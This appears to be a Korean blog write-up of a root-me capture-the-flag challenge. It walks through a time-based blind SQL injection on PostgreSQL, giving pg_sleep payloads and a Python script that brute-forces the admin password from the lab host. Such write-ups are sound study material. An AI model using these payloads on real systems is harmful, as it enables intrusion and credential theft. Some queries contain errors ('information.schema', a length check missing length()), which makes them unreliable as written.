Time based SQL Injection 관련 문제입니다. 관리자의 패스워드 데이터를 추출해내는 것이 목표입니다.
Time based(시간 기반) SQL Injection 공격은 Blind SQL Injection 공격의 한 유형입니다. SQL 쿼리 구문 삽입이 가능하지만 얻을 수 있는 정보가 제한될 때, SQL 구문이 참일 경우와 거짓일 경우 출력되는 결과 값을 차이를 이용해 Blind SQL injection 공격을 수행하고 있으나 이 마저도 확인할 수 없을 경우 Time based SQL Injection 공격이 사용됩니다.
아래는 시간 기반 SQL Injection 공격 시 사용되는 구문을 DBMS 별로 간략히 정리한 표입니다.
DB 종류 | 구문 |
MySQL | select BENCHMARK(1000000, md5('a'); select SLEEP(5); |
Oracle | select dbms_pipe.receive_message(('a'), 10) from dual; |
MSSQL | WAITFOR DELAY '0:0:5'; |
PostgreSQL | select pg_sleep(10); |
DB2, Ingres 등 | use heavy queries to create a time delay |
문제에 접속하게 되면 첫 번째 페이지에 로그인 창이 있고, [Member list] 탭이 존재합니다.
해당 [Member list] 탭 메뉴를 클릭해보면, DB에 저장되어 있는 멤버의 ID와 로그인 아이디 리스트가 출력됩니다.
저희는 관리자의 패스워드를 찾아야 하기 때문에 "admin" 링크를 클릭합니다.
"admin"을 클릭하였더니 URL 주소 내 GET Method로 action과 member 파라미터가 전송되고 있으며, 로그인이 필요하다는 에러 메시지가 나타납니다.
Step 1. 취약성 판단
Time based SQL Injection 공격이 가능한지에 대한 여부를 판단하기 위해 SQL 구문을 삽입합니다.
SQL 구문이 참과 거짓일 때의 결과가 같아 Blind SQL Injection 공격이 불가능해 Time based SQL Injection 공격으로 진행하였고, DBMS 종류가 PostgreSQL이기 때문에 pg_sleep 함수를 사용하였습니다.
참인 SQL 구문을 삽입한 경우 응답 시간이 조금 지연되어 2,292 milli seconds 임을 확인할 수 있고,
▶구문 : ;select+case+when+1=1+then+pg_sleep(5)+else+pg_sleep(0)+end--
SQL 구문이 거짓일 경우 바로 응답이 전송되어 288 milli seconds 임을 확인할 수 있습니다.
이러한 응답 시간 차이를 이용하여 데이터베이스 내 정보를 추출해보겠습니다.
▶구문 : ;select+case+when+1=2+then+pg_sleep(5)+else+pg_sleep(0)+end--
Step 2. 테이블명 파악
테이블 명을 추출해내기 위해 우선 길이를 알아보았습니다.
▶구문 : ;select+case+when+(select+length(table_name)+from+information.schema.tables+limit+1)=5+then+pg_sleep(5)+else+pg_sleep(0)+end--
위의 구문의 참이니까 테이블 명은 5 글자이며,
substr 함수를 사용하여 문자열을 잘라 한 글자씩 파악합니다.
▶구문 : ;select+case+when+substr((select+table_name+from+information.schema.tables+limit+1),1,1)=chr(117)+then+pg_sleep(5)+else+pg_sleep(0)+end--
위의 구문을 사용하여 테이블 명 "users"를 획득하였습니다.
Step 3. 컬럼명 파악
테이블 명을 획득했던 방법으로 이번엔 컬럼 명을 추출해냅니다.
▶구문 : ;select+case+when+(select+length(column_name)+from+information.schema.columns+limit+1+offset+5)=8+then+pg_sleep(5)+else+pg_sleep(0)+end--
위의 구문으로 컬럼명이 8자 임을 확인하였고,
▶구문 : ;select+case+when+substr((select+column_name+from+information.schema.columns+limit+1+offset+5),1,1)=chr(112)+then+pg_sleep(5)+else+pg_sleep(0)+end--
substr 함수를 이용해 컬럼 명이 "password"임을 확인하였습니다.
Step 4. 관리자 패스워드 파악
관리자의 패스워드를 파악하기 위한 테이블명과 컬럼명을 모드 획득하였기 때문에 해당 데이터 추출만 남았습니다.
▶구문 : ;select+case+when+(select+password+from+users+limit+1+offset+0)=13+then+pg_sleep(5)+else+pg_sleep(0)+end--
위의 쿼리문으로 관리자의 패스워드 길이가 13자임을 확인하였고,
나머지 데이터 추출을 위해 간단한 파이썬 코드를 작성하였습니다.
import httplib, urllib, time
import re
for y in range(1,14):
for x in range(33,127):
headers = {'Accept':'text/html','cookie':'PHPSESSID=------------------'}
conn = httplib.HTTPConnection("challenge01.root-me.org")
conn.request("GET","/web-serveur/ch40/?action=member&member=1;select+case+when+substr((select+password+from+users+limit+1+offset+0),"+str(y)+",1)=chr("+str(x)+")+then+pg_sleep(5)+else+pg_sleep(0)+end--",'',headers)
start=time.time()
response = conn.getresponse()
end=time.time()
if end-start > 2 :
print "count: ", y
print "x : ", x
break
conn.close()
위의 코드를 실행시키면 아래와 같은 결과 값을 획득할 수 있습니다.
위의 x에 해당하는 숫자를 아스키 코드 문자로 매칭 하면 관리자 패스워드(Flag) 값 획득에 성공합니다.
※ 참고 자료 ※
- https://www.onsecurity.co.uk/blog/pentesting-postgresql-with-sql-injections/
- http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
- https://www.postgresqltutorial.com/postgresql-select/
- https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html
'Study > Wargame' 카테고리의 다른 글
[root-me] JWT - Revoked token (2) | 2020.12.29 |
---|---|
[root-me] XSLT - Code execution (0) | 2020.07.02 |
[root-me] Insecure Code Management (0) | 2020.04.07 |
[root-me] SQL Injection - File reading (0) | 2020.04.01 |
[root-me] SQL Injection - Routed (0) | 2020.03.20 |